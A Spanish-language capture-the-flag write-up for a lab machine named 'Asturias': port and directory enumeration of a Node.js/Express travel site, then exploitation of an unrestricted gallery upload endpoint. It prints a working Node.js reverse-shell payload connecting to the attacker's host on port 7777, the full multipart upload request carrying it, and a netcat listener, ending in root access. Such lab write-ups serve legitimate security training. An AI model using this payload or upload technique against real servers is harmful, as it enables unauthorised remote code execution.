Asturias
Released
27 sept 2026
Completada
21 oct 2026
Mi rank
—
Descripcion
Máquina Linux de dificultad media centrada en la enumeración web y la explotación de una vulnerabilidad en la subida de archivos. A través de una aplicación desarrollada con Node.js y Express, será necesario descubrir endpoints ocultos, analizar las peticiones HTTP y conseguir ejecutar código en el servidor para obtener acceso remoto como root.
Enumeracion
Nmap
Comenzamos realizando un escaneo de todos los puertos TCP para identificar cuáles se encuentran abiertos.
$ nmap -p- --open --min-rate 5000 -Pn -n -sS -v 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-20 21:37 +0200
Initiating ARP Ping Scan at 21:37
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 21:37, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 21:37
Scanning 172.17.0.2 [65535 ports]
Discovered open port 3000/tcp on 172.17.0.2
Completed SYN Stealth Scan at 21:37, 0.45s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
3000/tcp open ppp
MAC Address: 6E:37:1D:BF:61:A7 (Unknown)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Una vez identificado el puerto abierto, realizamos un segundo escaneo para detectar los servicios y sus versiones, además de ejecutar los scripts predeterminados de Nmap.
$ nmap -p3000 -sC -sV 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-20 21:37 +0200
Nmap scan report for 172.17.0.2
Host is up (0.000043s latency).
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Asturias Viajes · El Paraíso Natural te espera
|_http-cors: HEAD GET POST PUT DELETE PATCH
MAC Address: 6E:37:1D:BF:61:A7 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.09 seconds
Encontramos el puerto
3000abierto, donde se está ejecutando una aplicación web basada enNode.jscon el frameworkExpress.
Web
A continuación, utilizamos
WhatWebpara identificar las tecnologías y características visibles de la aplicación web.
$ whatweb http://172.17.0.2:3000
http://172.17.0.2:3000 [200 OK] Country[RESERVED][ZZ], HTML5, IP[172.17.0.2], Script, Title[Asturias Viajes · El Paraíso Natural te espera], UncommonHeaders[access-control-allow-origin], X-Powered-By[Express]

Encontramos una página web relacionada con viajes a Asturias. También observamos las opciones de inicio de sesión y registro.
Antes de interactuar con la aplicación, vamos a utilizar
Gobusterpara intentar descubrir directorios y archivos que puedan resultar interesantes.
$ gobuster dir -u http://172.17.0.2:3000 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-big.txt -t 100 -x php,html,txt,js -xl 6327

No encontramos nada relevante durante esta enumeración. Por tanto, vamos a registrarnos en la aplicación.
Interceptamos la petición de registro con
Burp Suitey observamos que se envía al endpoint/api/auth/register.

En la respuesta aparece el campo
role. Vamos a comprobar si es posible modificarlo en la petición de registro para intentar explotar una vulnerabilidad de tipo Mass Assignment, que podría permitirnos asignar un rol diferente al predeterminado.

El intento no funciona: la aplicación sigue asignándonos el rol
user.Una vez dentro del
dashboard, observamos que la aplicación realiza varias peticiones a diferentes endpoints de la API.

Vamos a ejecutar
Gobustercontra la ruta/apipara intentar descubrir endpoints adicionales que puedan resultar interesantes.
$ gobuster dir -u http://172.17.0.2:3000/api -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-big.txt -t 100

A continuación, enumeramos el endpoint
/api/gallery. Mediante peticionesGETno encontramos nada relevante, pero al utilizar el métodoPOSTdescubrimos la rutaupload.
$ gobuster dir -u http://172.17.0.2:3000/api/gallery -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-big.txt -t 100 -m POST

Podemos acceder a este endpoint desde la sección
Galería, disponible en el menú de navegación de la aplicación.

Explotacion
Vamos a subir una imagen de prueba e interceptar la petición con
Burp Suitepara analizar cómo gestiona la aplicación los archivos enviados.

Después de subir la imagen, observamos que la aplicación nos devuelve una ruta desde la que podemos acceder al archivo.
También podemos visualizarlo desde la sección de galería y acceder directamente a él mediante la siguiente URL:
http://172.17.0.2:3000/api/gallery/<ID>/file
En este caso, el identificador de la imagen de prueba es
22.Ahora vamos a comprobar si es posible explotar una vulnerabilidad de tipo Arbitrary File Upload. Para ello, intentaremos subir un archivo JavaScript que, si se ejecuta en el servidor, nos permita obtener una shell inversa.
El siguiente código utiliza los módulos net y child_process de Node.js para establecer una conexión TCP con nuestra > máquina y redirigir la entrada y salida de una shell a través de ella.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(7777, "172.17.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
Este será el código que enviaremos. Primero, ponemos en escucha nuestra máquina para recibir la conexión entrante.
$ nc -nvlp 7777
A continuación, preparamos la petición HTTP mediante
Burp Suite, modificando la solicitud de subida de archivos para enviar nuestro archivo JavaScript.
POST /api/gallery/upload HTTP/1.1
Host: 172.17.0.2:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://172.17.0.2:3000/galeria.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjU0LCJlbWFpbCI6InRlc3RAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsIm5hbWUiOiJ0ZXN0IiwiaWF0IjoxNzkyNTI1OTY0LCJleHAiOjE3OTI1NTQ3NjR9.FD29HJclRrCon6i-AJSVpAoGRSCKLI4kPekKWJ5PPc0
Content-Type: multipart/form-data; boundary=----geckoformboundarya54e2a7c39f4b15dc2579da842d33af
Content-Length: 707
Origin: http://172.17.0.2:3000
Connection: keep-alive
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjU0LCJlbWFpbCI6InRlc3RAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsIm5hbWUiOiJ0ZXN0IiwiaWF0IjoxNzkyNTI1OTY0LCJleHAiOjE3OTI1NTQ3NjR9.FD29HJclRrCon6i-AJSVpAoGRSCKLI4kPekKWJ5PPc0
Priority: u=0
------geckoformboundarya54e2a7c39f4b15dc2579da842d33af
Content-Disposition: form-data; name="caption"
aa
------geckoformboundarya54e2a7c39f4b15dc2579da842d33af
Content-Disposition: form-data; name="photo"; filename="test.js"
Content-Type: image/png
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(7777, "172.17.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
------geckoformboundarya54e2a7c39f4b15dc2579da842d33af--

Enviamos la petición y comprobamos que la aplicación nos devuelve el identificador
24para el archivo subido.Por tanto, vamos a acceder al recurso correspondiente mediante la siguiente URL:
http://172.17.0.2:3000/api/gallery/24/file
Finalmente, comprobamos el resultado en el listener de
Netcat.

Hemos conseguido acceso al sistema con el usuario
root, completando así la explotación de la máquinaAsturias.